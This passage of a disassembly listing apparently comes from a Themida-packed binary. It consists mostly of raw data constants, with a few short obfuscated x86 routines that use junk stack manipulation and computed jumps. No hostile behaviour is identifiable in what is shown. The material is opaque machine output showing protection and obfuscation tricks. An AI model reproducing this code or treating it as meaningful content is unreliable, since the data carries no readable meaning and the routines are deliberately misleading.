		dd 0F12FC82Bh, 0ED9B012Dh, 34C9F672h
		dd 164986B3h, 4C01E641h, 2E9B2ACBh, 8D3064FCh, 0F52257CAh
		dd 0C49BACC2h, 0F4172C61h, 8AD6BB9Eh, 0E596C30Fh, 6B0B2651h
		dd 0D81C27DCh, 4888173Bh, 4B80663h, 461B0000h, 0EAABCEE3h
		dd 153F6277h, 82D2F50Ah, 13678A9Fh, 70022338h, 98AD88E0h
		dd 263B1E75h, 0B8CD5003h, 475CFF95h, 0DD1ACB78h, 5266EF3Bh
		dd 3D53425Bh, 8CE2051Ah, 0D497CA9h, 0B3312A1Bh,	6EA3A7E5h
		dd 0F6508EDh, 0BC01472Ch, 0EF4A20AFh, 6EC78FC2h, 0A2573C27h
		dd 0EAD7EC6Dh, 4C0FF02Eh, 4C3Fh, 8EC60200h, 6AF59EDEh
		dd 96A4D085h, 70873895h, 0C76D0424h, 535CDD12h,	0B6E3EFAAh
		dd 0B019305h, 0F825DA6Bh, 114F7FBBh, 23DF25C6h,	49D47FA2h
		dd 826A9334h, 1C7266F4h, 56012439h, 0FD39E6CBh,	0EE2D6CE0h
		dd 5835B6D7h, 40Ah, 1A3D53BFh, 59FC9235h, 0C3217844h, 63C69CADh
		dd 6794492Eh, 44E41B6h,	0C41F66Dh, 555C2EDFh, 36726B0Bh
		dd 0E26220BBh, 8A3B68D0h, 66F5246Dh, 0C88C0DC2h, 0E0B3E613h
		dd 0F617FC7Dh, 66F52405h, 7C2D6A17h, 66F5247Bh,	0B97EFFB4h
		dd 0C7C553AAh, 49A64600h, 8D000000h, 0AFEBEFAAh, 0C7551ABCh
		dd 3BBC5DA0h, 0F46D0438h, 0A0DD0A3Fh, 4F34176Dh, 2678199Ah
		dd 616B0B52h, 55A6C7ACh, 0C766F51Eh, 0BF51DE1Ah, 0B2DE7911h
		dd 3CBD14E7h, 711E877h,	6446004Ch, 0E8h, 0BFA2F427h, 9BA425DAh
		dd 0ED1A3D53h, 0B2C3DBB1h, 0CEFACF2Ch, 0B66FC5E8h, 10F57689h
		dd 4D32156Dh, 4E7AD4AAh, 0E8A3D566h, 0DA876CA1h, 880BEC9Dh
		dd 0ABB6D03h, 6D0387EDh, 14C98D42h, 511A7093h, 0BDEA1F3Ah
		dd 0D657CA8Ah, 83C520C1h, 0FD936D03h, 4C22455Ah, 0E1B804E9h
		dd 0E5CA6D03h, 250A2D42h, 0D9063B70h, 0AA51228h, 0C3F0A56Bh
		dd 6322D586h, 0D8AE66F4h, 1FE3987Dh, 0A7D4E96Ah, 583D2074h
		dd 435622A3h, 5FB1628Fh, 0D6650613h, 0A9C1F421h, 256798Eh
		dd 48CE1C27h, 593E8E06h, 2D1FCh, 0CC6F0200h, 5EC194B7h
		dd 0F16C2649h, 829DB9DCh, 13364A6Dh, 0B94BDDFEh, 4E7186A1h
		dd 0E6091E39h, 7A9DB2ADh, 5D2C41E4h, 39F8FFB0h,	483F66EFh
		dd 253F532Fh, 3153E6BAh, 0ED023724h, 7C91B4CAh,	0E5781C4Fh
		dd 0C1CA4B00h, 0B8EBEFAAh, 0E99E839Eh, 44DAF48h, 9ED3886Dh
		dd 67DEC071h, 0F6996B0Bh, 31DDC25Dh, 82FA9533h,	30538882h
		dd 651AFF5Ah, 0D12A4B30h, 4B66F515h, 78A07906h,	0F54600BDh
		dd 0B8h, 233D53DCh, 93065D47h, 0ED70232Fh, 1DDA8BB8h, 126D03C3h
		dd 0C8FB285Dh, 311697B2h, 7A5FFA8Eh, 3BE8C59h, 23065C6Dh
		dd 0B295EB0Eh, 0B8E420CDh, 37FA57DCh, 0D081EE1Ah, 6B98E998h
		dd 577B1EEAh, 35C1792Ah, 47F46B0Bh, 0F5336196h,	0EC21D666h
		dd 448E0BD7h, 0EC9DDA17h, 66F5330Bh, 4BD68124h,	0FB7CB166h
		dd 6C6615Ah, 0F421D665h, 798EA9C1h, 1C270256h, 8E06A4F4h
		dd 0CFF24F34h, 4000001h, 92B5CA6Dh, 284B60C3h, 0BBDEF36Eh
		dd 5073889Bh, 0E7081D38h, 8CAFC355h, 1C3F5477h,	0B0B3E407h
		dd 47E2789Bh, 5B66332h,	66EF38F2h, 532D463Dh, 0E4071C3Fh
		dd 8D96AB8Eh, 0E6411649h, 92C4265h, 50EB8124h, 0E742183Bh
		dd 0EFE3B602h, 79D511C2h, 7BB76B0Bh, 8261A6B0h,	3D01826Fh
		dd 52285B88h, 0EE9176F7h, 0E710C1A4h, 5066F480h, 0DE81669Bh
		dd 7EBB688h, 5A5CCCB2h,	60354025h, 0FC39B203h, 0CFE90EBFh
		dd 994E66F4h, 0AD345318h, 0FD5A3071h, 2FB0AC64h, 0BED3760Ch
		dd 0FE2BA7F2h, 0FC4E1D4Dh, 7FB2EF64h, 4FA849D4h, 0E86D0432h
		dd 0DC471033h, 0B5E2975Bh, 664BEE82h, 0A84B30B1h, 249277D2h
		dd 0F8AB0CFh, 0B59ABDD5h, 0ED9ECB00h, 6B0B347Dh, 0CBEE03B8h
		dd 0AAD92B5h, 0F8F1D649h, 0F1874423h, 24754156h, 16D081AEh
		dd 0F864FC78h, 0C1CAE5BCh, 0B55E8A95h, 0ED25309h, 94C77459h
		dd 0C67B60C3h, 0E94C2245h, 29360B04h, 0FD2AA8F1h, 954683C0h
		dd 6D036F62h, 807718CDh, 0B76D036Fh, 6E08102h, 0E86B0A9Bh
		dd 62FDFAABh, 7D3266F4h, 6E8338FCh, 0AEDBF7A2h,	0D283E71h
		dd 63CEEB8Ch, 0B0656501h, 203B5083h, 4117BA9Fh,	67A4D1E6h
		dd 0C5C0FC2Bh, 55F6A90Eh, 6CEA4BA2h, 3457D88Dh,	0F516FB5Eh
		dd 70782BD1h, 418EDD32h, 0A6E3102Bh, 77EC02F5h,	6CA2C54Fh
		dd 0B095686Bh, 0A1B637ECh, 0B164174h, 0CDF07126h, 346794B7h
		dd 6116FB5Eh, 3C58FBE0h, 0DBB8F421h, 91B4CBA3h,	45CBF7ACh
		dd 0E596C322h, 4F77D512h, 2E7681Dh, 0DE8FCC09h,	4F77D519h
		dd 23E8691Eh, 56F18744h, 0ED481E41h, 0CAB08h, 49120000h
		dd 0BFE32E0Dh, 0E26362A5h, 3E533A43h, 0FD93361Bh, 81D2755Ah
		dd 4116B99Eh, 0A5E01E6h, 0D3A74A2Fh, 0A4F09378h, 6731D4B9h
		dd 217417FCh, 68F7593Eh, 64C9h,	52241C89h, 0C281E289h
		dd 4, 8704EA83h, 895C2414h, 0A68240Ch, 8900002Ah, 43682404h
		dd 8B061503h, 0C483240Ch, 571B6804h, 24890000h,	24048324h
		dd 51575804h, 878895Fh,	24048B5Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		dw 615Eh
		dd 44C325C5h, 0A7FEC971h, 14CF3280h, 1517A5B8h,	0FFC50306h
		dd 9F8F8DE0h, 7FA9697Fh, 32B1654Ch, 0C590D82Bh,	9903C27Fh
		dd 5DC0FF7Ah, 49845232h, 2B57B80Fh, 0CD2C4D79h,	65C8C820h
		dd 39C55403h, 6F17A266h, 75AF7015h, 9728A10Ch, 5BF4884Dh
		dd 4130E15Dh, 20A59948h, 6AD8BC3Dh, 0C348A503h,	458E863Dh
		dd 0F7222977h, 0B0E4F012h, 0C9D9D076h, 4CCB624Dh, 76B3AC5Ch
		dd 0AE13AE47h, 0E4D05370h, 280A5803h, 0B300416Ch, 93174B5Eh
		dd 0FD0C365Ch, 585D462Ch, 6A8D8D27h, 66061519h,	579DD281h
		dd 2C658D89h, 8B66060Fh, 0C185C7F9h, 0E8060F07h, 6A000069h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 4FE3C351h, 0F5DFB70Fh, 249185C7h,	60Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 698402C3h, 6DB58B52h, 5B060F2Dh, 0CF816656h,	0FF5E5BFBh
		dd 0F087DB5h, 0FFDA8B06h, 0F2A0595h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0EA9DDAAh
		dd 8B6DB9A4h, 68D0F5Ah,	8B000000h, 0F193585h, 0FF006A06h
		dd 0F345195h, 0EBC08B06h, 0BBA831Dh, 93365EE8h,	0B63307D9h
		dd 54412BADh, 631EA4B5h, 0A3234C12h, 0DD2A6DDEh, 17E9FD29h
		dd 11000000h, 2C71DDh, 4 dup(0)
		dd 0B4E90000h, 4, 96B9CE69h, 2C4F64FFh,	0BFE2F76Ah, 54778C97h
		dd 0E304193Ch, 90ABBF51h, 2803587Bh, 0BCA7F013h, 4BEE84A7h
		dd 9BA6736h, 66EF34EEh,	49395249h, 0A883D90Ch, 44DF007h
		dd 6F92476Dh, 9CBF401Bh, 0DB7E63C6h, 4477A487h,	798E0F12h
		dd 40250056h, 7F64C79Dh, 0C1A6B9DCh, 6261FE53h,	71A3B0Ch
		dd 0F99ABDD2h, 0F1245166h, 183BBCA7h, 5CFFE47Fh, 21D3607h
		dd 1AEFE8CDh, 4AD57E4Dh, 0B6A9EA1Dh, 869B1CD1h,	452A0D63h
		dd 44DD624h, 6403586Dh,	0FF57B9Dh, 76F04Ch, 53D70000h
		dd 0F5682C3Dh, 41265B10h, 44DDD20h, 0C75AFB6Dh,	0E293FE2h
		dd 0C19EE329h, 0B1CE23F0h, 0FF5B068h, 9E70AC4Ch, 625C7965h
		dd 1233FC0h, 0A000000h,	3A1F0253h, 25385A8Dh, 0E70A8B40h
		dd 21CEB3AEh, 3DBE99EEh, 0DAF07A1Ah, 24083561h,	0A0C6EDA5h
		dd 3E7340D1h, 61B62409h, 0CD88BB02h, 0E7AED152h, 2E44677Ch
		dd 0F0A1DE0Bh, 6D03B007h, 0D79B86D1h, 838CA122h, 371C3F53h
		dd 795EC194h, 4891EE33h, 0F7DC7F15h, 0CA9EC142h, 21375A6Fh
		dd 0D1A6D906h, 5BDC9176h, 0B081D376h, 56C98BE4h, 5287BC71h
		dd 0BDA0F225h, 0E0B4573Ch, 9DF5987Dh, 4A8FD5BAh, 78BD9C3Dh
		dd 0F41612EBh, 33664C0Fh, 6915FA5Dh, 678457B9h,	0E7689D8Fh
		dd 5BCBh, 0D49B200h, 3F548AC2h,	5682371Ch, 0A8D41E36h
		dd 8C142589h, 76991AECh, 0BF6247E2h, 37A58A95h,	324685E2h
		dd 8BDF0217h, 6C28CBB0h, 68AD0CF1h, 0AD26021Bh,	38474C0Fh
		dd 2E000000h, 0EF1C3F53h, 6B04A2B3h, 0F7783AB0h, 39246F12h
		dd 98E7BC54h, 0FF14374Bh, 6AF59FD2h, 464FD085h,	3A1F0253h
		dd 44DE119h, 69F64B6Dh,	0FF58890h, 1E54Ch, 53CC0000h, 96391E01h
		dd 878065C0h, 0D90CD5B2h, 0EC3A883h, 35286A8Dh,	8D455420h
		dd 35E62360h, 6D044DC2h, 9637B86Dh, 6B0B4770h, 0A04D32E7h
		dd 5225BB64h, 61F62C66h, 0ED1091C6h, 0D613BD97h, 7F4099FAh
		dd 0A8EA1D4Ah, 5AFD92B5h, 5A97C4D9h, 0F4644EA9h, 0B334E966h
		dd 325FFA90h, 0B6DE57FFh, 10F576ABh, 0F4640EEFh, 9FBACE66h
		dd 0E17C17BAh, 0F08F64FCh, 0D9BEA1F3h, 2D7EF24h, 35106665h
		dd 0C467FD20h, 44F532DFh, 66F463B3h, 0E99AC77Ch, 66F4640Eh
		dd 0D0F37429h, 74BA9FBAh, 0FD93502Fh, 0C058455Ah, 9C46000Bh
		dd 6785B060h, 1C28C421h, 0D56E9A02h, 0B6D253F7h, 0D9h
		dd 0F5EFAA9Dh, 23D8BDA0h, 94C95400h, 5860B667h,	74176B0Bh
		dd 24093E21h, 3B50EB81h, 2E74218h, 2B40095Fh, 0B0F6DB10h
		dd 0B9CF1C6Bh, 7C9C899Eh, 0F14600DFh, 40h, 0F3F1AAD8h
		dd 0E314C5A0h, 4C6D044Dh, 0C87D6297h, 22B56693h, 8D12FBB1h
		dd 25D2F3D8h, 0ABED044Fh, 0EF9277EAh, 0CED9BE99h, 0C04B6AF9h
		dd 0F5A69CEBh, 0D8FFB0DDh, 1F92FBB1h, 6278556Ah, 0DF000000h
		dd 0B6E3EFAAh, 23E0FC7Ah, 9A1B906Dh, 1B6EBC6Dh,	74296B0Bh
		dd 0B396EC8Fh, 135719Eh, 1DDA8B55h, 1266F464h, 98D6315Dh
		dd 0DCB2D556h, 7D739479h, 6066F51Bh, 99EFFC8Bh,	0BCDDA9BEh
		dd 5238E916h, 5650224h,	0B2C86B50h, 0E4B9B297h,	0D8FA9F87h
		dd 47E278ABh, 0FF2CAD62h, 0F72B3C4Eh, 3146FB6Ah, 0E3EFAA28h
		dd 568505B6h, 1BD06B11h, 6CFD9336h, 0E9FE3316h,	56F189BCh
		dd 7CFD6033h, 183A0359h, 67A3D005h, 2D54E6CDh, 0D1B63721h
		dd 4AFE1CB0h, 4F1C7141h, 3A4FEA80h, 1E64117h, 462B365Eh
		dd 0DCEB784Dh, 6B8EA386h, 0B2E4415h, 894F1D6h, 0FB000000h
		dd 0DD77AAD7h, 53B8C142h, 93361B3Eh, 0D2755AFDh, 16B99E81h
		dd 5E01E641h, 0A74A2F0Ah, 0F09378D3h, 31D4B9A4h, 7417FC67h
		dd 0F7593E21h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 46465943h
		add	esi, 43A26DE1h
		shl	esi, 8
		xor	esi, 2C801803h
		xor	esi, 69B41E74h
		sub	esi, 0ADF32273h
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	5A35h
		mov	[esp], ebx
		mov	ebx, 362958EFh
		mov	ecx, 0CFEBC0BEh
		add	ecx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	eax
		push	ecx
		sub	dword ptr [esp], 5542661h
		pop	eax
		add	eax, 5542661h
		mov	[ebx+8], eax
		pop	eax
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dd 0CAD5F6F2h, 6A8C3297h, 0B8A7E9DDh, 6151D9Ah,	0E0FFC503h
		dd 13FD3E5Ah, 778AB9BEh, 6631E85Bh, 0B7AC5AFh, 2D0FF412h
		dd 21750F20h, 6DA0C950h, 66646A43h, 6407B290h, 32C21DF4h
		dd 64EA1D88h, 3AB90BDAh, 1BC831B6h, 6654DD46h, 5861165Dh
		dd 2B4A2C1Ch, 10C7C7CAh, 2C5DFFA8h, 302F3E0Fh, 55C7C2C4h
		dd 71303A3Fh, 31FE87Eh,	2BE9h, 0B458F200h, 3Bh,	9 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5AD32A
; ---------------------------------------------------------------------------
		dec	edx
		aaa
		adc	al, 0FFh
		fdivr	qword ptr [ecx+246E91A6h]
		cmp	[ecx+eax], esp
		push	ebp
		retf	92B5h
; ---------------------------------------------------------------------------
		dw 5BFEh
		dd 1932546h, 96B9CE69h,	2E5166C1h, 0C2E5FA65h, 0A57489ACh
		dd 2FB047F8h, 908766EFh, 1A3D5377h, 0F8FFB0EDh,	3F6D044Dh
		dd 8124098Ah, 0EE214EE9h, 273CBD98h, 0E6CB6E04h, 0DD0A2D43h
		dd 4E08EFA0h, 7A2F6D04h, 346714F9h, 0D8FA0761h,	0F6410E83h
		dd 781D40C1h, 65D00E5h,	0C49B3E23h, 0AE837C61h,	0BD1200D1h
		dd 24B21AEh, 0ECE9D751h, 0E4EF2270h, 42657AAFh,	0D6F90E11h
		dd 10BDA2BDh, 24A5B8DDh, 0A4D76A01h, 2DCA6BCEh,	26D0381h
		dd 886F204Dh, 0AF6D0380h, 3DE0C5FAh, 7D200518h,	0F56348DBh
		dd 79F2C3A0h, 0C2FEC7A4h, 0E3B5E5E5h, 865E5480h, 9093C5E8h
		dd 5275F6ABh, 0B4F11E01h, 3E9F403h, 0C0983B6Dh,	9AAF3065h
		dd 1946E177h, 0D1B691E6h, 0C762F91Ch, 0BA406146h, 746D03E9h
		dd 5FB9401Fh, 0C4C0F91h, 7Ah, 1A3D53F3h, 4DE91435h, 88456D04h
		dd 3B200355h, 290C6386h, 490E8F44h, 0F535E33Ah,	1364C0Fh
		dd 1D000000h, 22280253h, 7DEDED01h, 7A1D0237h, 0E81B48DBh
		dd 21CEB3AEh, 3D08770h,	0C6FBB06Dh, 8A6FF2A3h, 0CC6F54D5h
		dd 0BEC9D88h, 246D03D1h, 0E7553A6Fh, 5FF6F592h,	0C6497C4h
		dd 0E8F4429h, 0A580D6F9h, 6D8A3B78h, 0C26D03D1h, 4A778C0Dh
		dd 0D09B5C0Dh, 0DF946D03h, 0C49555Eh, 44D9C5Bh,	9BF0936Dh
		dd 0F126DBC0h, 12354D70h, 6ACB8A2Dh, 0D4013629h, 6D6DE298h
		dd 7AFB9D39h, 7D0A4F95h, 0FB663164h, 0BDE06116h, 5C028BA5h
		dd 0FB1ED98Ah, 64196D03h, 0AE77F038h, 4376479h,	32E7CC6Fh
		dd 66F88EB1h, 4B0D433Dh, 1B7CACD8h, 0A5D8053Ah,	8C3D6ACDh
		dd 6D03BE6Bh, 0A98E0FC4h, 0E90EBFFCh, 4E6D03BDh, 0A3F51899h
		dd 699E81D2h, 0B08BE184h, 0F16C28CBh, 0B69B86CEh, 7D5C2B70h
		dd 0F30A599Eh, 4C0F6335h, 5E56h, 3F533D00h, 1B2EF1Ch, 6D044DF6h
		dd 260B8C41h, 694ED183h, 0D9A6FBh, 149588CDh, 86D099F1h
		dd 5809B69Bh, 6D044D9Fh, 8BAEE398h, 0BC7156C9h,	3B4F7287h
		dd 0FC983B20h, 0D81D7C61h, 0F3B6728Bh, 3ED74C0Fh, 0BE000000h
		dd 371C3F53h, 7B60C394h, 72710EE3h, 0DB0E3B1Eh,	7BCA184h
		dd 53687186h, 0BFF21F02h, 6CF7A0A9h, 0B89DD287h, 0ABE04315h
		dd 0D624452Ah, 586D044Dh, 7B9D6403h, 0F04C0FF5h, 1, 1E0153D7h
		dd 8EA9BEF1h, 0EF85280Dh, 316E674Ch, 4ACB56FEh,	0AFE9E685h
		dd 0B297B2C6h, 0E7B3C8FDh, 0B6F320B2h, 4E2FC879h, 0EDA96D04h
		dd 14D88D72h, 0C93DDE5Fh, 846B0B46h, 1B6FA2CFh,	0E77A1D40h
		dd 88DE8166h, 84D80ADh,	0D2833015h, 66F54525h, 9F20550Ah
		dd 3611678Ah, 44CD3051h, 411666F5h, 6CCFA522h, 0D6490C3Fh
		dd 0A6BB3CF1h, 16314679h, 5CC78E31h, 0ED83A627h, 0ACC2654Ah
		dd 3166F99Bh, 9A85D104h, 0A9EE3419h, 0D4770DDAh, 0EC46D2BFh
		dd 19274600h, 0E000001h, 0B6E3EFAAh, 6C8B3C79h,	0C36D044Eh
		dd 4D926516h, 0E89D6D04h, 859132B3h, 0F06B0B58h, 0DDB3563Bh
		dd 2C42657Ah, 0EE9FDC09h, 66F53809h, 13F8792Eh,	5A3F1A70h
		dd 33B0CF14h, 0F8E5FA5Dh, 4600DF20h, 4C4Dh, 0F1AA3400h
		dd 0D403B4E1h, 1B12FBB0h, 98D48166h, 0FB903605h, 0FA5D89DCh
		dd 65612317h, 32C566E7h, 36ED046Fh, 88BB0261h, 772855F0h
		dd 0ED046F80h, 0B58102B7h, 0EBFECE6h, 92FBD1C9h, 6DFE92C5h
		dd 7F003528h, 14F106BBh, 88h, 0E3EFAA7Bh, 452505B6h, 0BB706B0Bh
		dd 0FA5D33D6h, 0CA7BB8E5h, 66F5432Dh, 6F204D02h, 66F54288h
		dd 5679FAAFh, 0BBF82500h, 0F542ED0Ah, 0C8D4266h, 42EA0627h
		dd 0F8CD66F5h, 741F526Bh, 2F4568E9h, 896DE415h,	0BDF24D72h
		dd 6995490h, 8798FDB4h,	7425F106h, 57FE315Eh, 6D1E4BCCh
		dd 6502394Bh, 9B482DE2h, 0B0312C68h, 6F54F78Dh,	0FBC2A176h
		dd 0EFB926BFh, 12932095h, 0C4915346h, 46F72459h, 6AF6C572h
		dd 0F6FF14C9h, 0B6E3EFAAh, 114FB305h, 1845FA6Bh, 2FCD2ADBh
		dd 0AD6266EFh, 0D758CB8Ah, 421245F2h, 889BBCDFh, 0AB8EE407h
		dd 3A1D7396h, 0A76CA855h, 7FC87698h, 5C24C546h,	744A8F3Ch
		dd 0B154391Ch, 29A7FDAh, 917F5E2Dh, 63962F3Ch, 85A8290Ch
		dd 0EC1F4CEFh, 0C490B396h, 3EBF7459h, 0D5700629h, 512275A8h
		dd 82371C07h, 3AE7CC4Dh, 57D87307h, 18FD6034h, 0AE3D4A1Fh
		dd 45687DD8h, 0ACDF0C2Fh, 10F576E9h, 3B3h, 0CED71A00h
		dd 361B3E53h, 755AFD93h, 0B99E81D2h, 1E64116h, 4A2F0A5Eh
		dd 9378D3A7h, 0D4B9A4F0h, 17FC6731h, 593E2174h,	0E78957F7h
		dd 4BE56h, 0F7010000h, 4EF835Eh, 5C243C87h, 81E78957h
		dd 4C7h, 4EF8300h, 5C243C87h, 83241C89h, 148904ECh, 0D0BD5524h
		dd 526D365Fh, 0B29B1BAh, 6AD8BB09h, 0D329742Eh,	5DEB315Ah
		dd 24148B54h, 5004C483h, 0EE029AB8h, 0FD6E050Fh, 0D001F011h
		dd 8B581889h, 89502414h, 405E0h, 0C0830000h, 24048704h
		dd 2434FF5Ch, 4C4815Bh,	0E9000000h, 0FFFA5A66h,	0EDD001F6h
		dd 9D7628EDh
; ---------------------------------------------------------------------------
		movsb
		inc	esi


loc_5AD32A:				; CODE XREF: Themida_:005ACDBCj
		mov	eax, 61523DBh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 4
		dd 893A5081h, 0B361894Ch, 46086087h, 0F00E1F34h, 0E82C22BBh
		dd 0Eh,	0B53C22D1h, 97A8A21Ch, 0EDB67300h, 0BF0F7783h
		dd 0CC8A5FD0h, 6DD8C781h, 0DCB20000h, 648DD7B8h, 83F0812Ah
		dd 8B2A6496h, 66378BDFh, 81BB70B9h, 0CAA077F6h,	9E928h
		dd 0B230000h, 3B33FA33h, 81E2ACF6h, 4A80BEC6h, 81CE8B56h
		dd 0FDDD6EF6h, 81665662h, 8F47CAD1h, 6F38107h, 833FBF95h
		dd 0FE802EFh, 4000000h,	0A477B0B7h, 83D94750h, 0C2EF7C03h
		dd 8B663C7Ch, 4F4F5BD8h, 0E883F08Ah, 0A2850F01h, 66FFFFFFh
		dd 7384CA81h, 26E9h, 0B259F00h,	44000023h, 2, 6	dup(0)
		dd 0E9000000h, 0C1Bh, 1526F168h, 2103E906h, 0FB68FFFBh
		dd 0E9061527h, 0FFFB20F9h, 15296D68h, 20EFE906h, 1068FFFBh
		dd 0E906152Ah, 0FFFB20E5h, 152AE268h, 20DBE906h, 0C668FFFBh
		dd 0E906152Ch, 0FFFB20D1h, 152D7168h, 20C7E906h, 0D068FFFBh
		dd 0E906152Eh, 0FFFB20BDh, 152FD868h, 20B3E906h, 0BB3EFFFBh
		dd 0DD5D3DE6h, 0F07555FEh, 6886811h, 1EA2822Bh,	0AC9F963Fh
		dd 3CE5BC40h, 52FBDE5Ch, 6D16F372h, 842D0C8Dh, 9A944CF0h
		dd 421DD82Fh, 25A6FE9Dh, 0C4451548h, 0C18B3CE5h, 45CA82A6h
		dd 51DC212h, 0D9CF73A6h, 19DFEF18h, 2961C1D2h, 1DC22533h
		dd 0F97B47C9h, 0B888BB1Ah, 0DE46838h, 0E27BAEh,	295D9AC9h
		dd 9AFAD959h, 69B1148h,	0AB3029B7h, 66h, 0F077D58Ch, 0FF06D6CCh
		dd 0BE06D4B7h, 0C1823A5Eh, 0D91DC218h, 660567Ah, 0C242B715h
		dd 7ADDCF87h, 1E7D1DC2h, 882C5FBFh, 0E76739B8h,	97F6D508h
		dd 0ED258564h, 1DC27AF7h, 0F629088Dh, 4C04A826h, 1DC27A52h
		dd 93C9BFAh, 28578E70h,	0DC5289EBh, 3029F447h, 0EE56939h
		dd 0AD8C0BDBh, 0DC3C9B7Ah, 0B76Dh, 25A64E00h, 0C1451548h
		dd 150BAFE2h, 0A33FF350h, 31D114DDh, 0B5D75FD5h, 0E8FDF3Fh
		dd 0AB2CFC2Fh, 5CDAAACEh, 0AC741D7Dh, 1BCDE77Bh, 10B99819h
		dd 5FE1AF30h, 51F22584h, 90486CFBh, 1DC2E4BFh, 0B48B0F5Fh
		dd 0DC613155h, 93F3D205h, 631339EAh, 83A706E5h,	0D34B6DCBh
		dd 0AACE2D1Bh, 0CE7756DAh, 0FECE6AEEh, 7668A07Dh, 1617EC94h
		dd 0CE367B7h, 769BFAD9h, 0B7017BB4h, 0DEBB98DBh, 97000009h
		dd 0B4943D14h, 0CCAC5534h, 0E1C16A47h, 0FBDB845Fh, 0F8EF9877h
		dd 3C139753h, 5635B393h, 6B4ECDADh, 8461E2C2h, 0EBA347DBh
		dd 1DD82CF1h, 0A655F499h, 0C2A24B22h, 0CBB6441h, 0CCF077D5h
		dd 0C22CB314h, 32F56B1Dh, 0C6ABADFEh, 0B5598CEBh, 66475911h
		dd 0A8071DC2h, 661A1048h, 61C31DC2h, 6540362Ah,	486D4AEBh
		dd 225534B4h, 0DE84E443h, 302A2E49h, 7E66B3Bh, 0C838A7h
		dd 0A6190000h, 93125h, 1D19F53Eh, 0B6A49CDh, 0BB9217E7h
		dd 0D458285Bh, 0D112CAFDh, 7F1BCD1Bh, 96761FFEh, 0E8C74715h
		dd 0FAB2D6B5h, 1BCD13E0h, 0C6EA49A8h, 0C38674F6h, 88B1B47Eh
		dd 0D4E056B5h, 26D4297Eh, 0DE7FB212h, 1DD5F96Eh, 1DC21822h
		dd 30E48DECh, 0F410FB3Ah, 4AAA8A5Ah, 0D2532329h, 82E1C0F3h
		dd 0C117A65Eh, 98F71BD3h, 4120A474h, 0ABCF2F0Eh, 0D7B63707h
		dd 6F52D4A4h, 0DC60B010h, 0F87C5C05h, 0F1F4F419h, 2063B701h
		dd 8D443h, 431EA100h, 5B3ABA9Ah, 704DD2B2h, 8E65E7C7h
		dd 0A28105E5h, 0A54902F9h, 0B9994221h, 0CFAF583Bh, 0E8C87150h
		dd 4DE18A67h, 2DFFF1A9h, 0FA9F1DD8h, 4B22A65Bh,	6441C2A2h
		dd 25A60CBBh, 0C8FBD257h, 87578AE9h, 0CD7E2706h, 0CEC4E87Fh
		dd 53218EB0h, 375BBBF5h, 0C28C647Fh, 0FCB4581Dh, 1DC2A2E2h
		dd 0FBDA5AAAh, 2A8AE9C8h, 0AE5285E4h, 556F60B8h, 0CF2F78E7h
		dd 761FFE7Fh, 5381596h,	84B1764Dh, 2C63459Ah, 31E98B0Ch
		dd 9698B13Fh, 0FD2180DFh, 5DDCAC2Dh, 48CD1D7Ch,	80600969h
		dd 0D1B031FFh, 90873F72h, 0D19698B1h, 1798B8EFh, 30B1913Ah
		dd 8D661E51h, 3069674Eh, 1755968Ch, 0ACE22466h,	0CFC3FA4Ch
		dd 41A180FFh, 6D9170F1h, 74588377h, 0C6C8998h, 23028363h
		dd 6AFD4FF0h, 0B4BD8E46h, 0D5D9097h, 5938B989h,	89E84726h
		dd 0D85C2CE0h, 5BF862E2h, 57B60A5Ch, 0C4E54524h, 956CEE88h
		dd 0C1421236h, 72D2B1E4h, 32D964Eh, 190F8EA6h, 0AB1BECD4h
		dd 54BABDAh, 0A4BB73A6h, 5C82BE52h, 0FBCBFEDBh,	0C2659877h
		dd 4D8AB9F0h, 0A93EB4EBh, 50C38DE0h, 46Fh, 0AACBE31h, 647A1BCDh
		dd 321BCD1Ah, 1BCD19D4h, 0CD1EDCD2h, 0BCABA11Bh, 0A024F498h
		dd 77AF8EC1h, 1BCD1E65h, 4266C625h, 0C20D398Ah,	5D82E11Dh
		dd 0BD2FCD67h, 62B693D6h, 13000007h, 2808B190h,	4020C9A8h
		dd 5D3DE6BBh, 6F4FF8DBh, 746B14EBh, 0B08F13D7h,	0CAA92707h
		dd 0DFC24121h, 0F8D55636h, 5F17BB4Fh, 1DD8234Dh, 0D2C9680Dh
		dd 64E59BDCh, 76D6DF0Eh, 59D7A526h, 968477Ah, 501735D6h
		dd 0BA69742Ch, 0D6351DD8h, 2AA9792Dh, 0D5351447h, 8441E33h
		dd 0E96B3B5Fh, 98F8D70Ah, 945BBC74h, 4631BD7h, 0E9653CF4h
		dd 0FE4EB888h, 0AE8D4569h, 70A64400h, 0F3DDE11h, 0DE7C3458h
		dd 0DEDC571Ch, 0A8B5B7Fh, 3711072Bh, 5EC928C9h,	5C3CE545h
		dd 0F5D9FEDBh, 5C7C8457h, 6BF3C19h, 33B60000h, 55D5B55Eh
		dd 68EDCD76h, 7E00E089h, 961AFAA3h, 34170EB7h, 0B45D34B8h
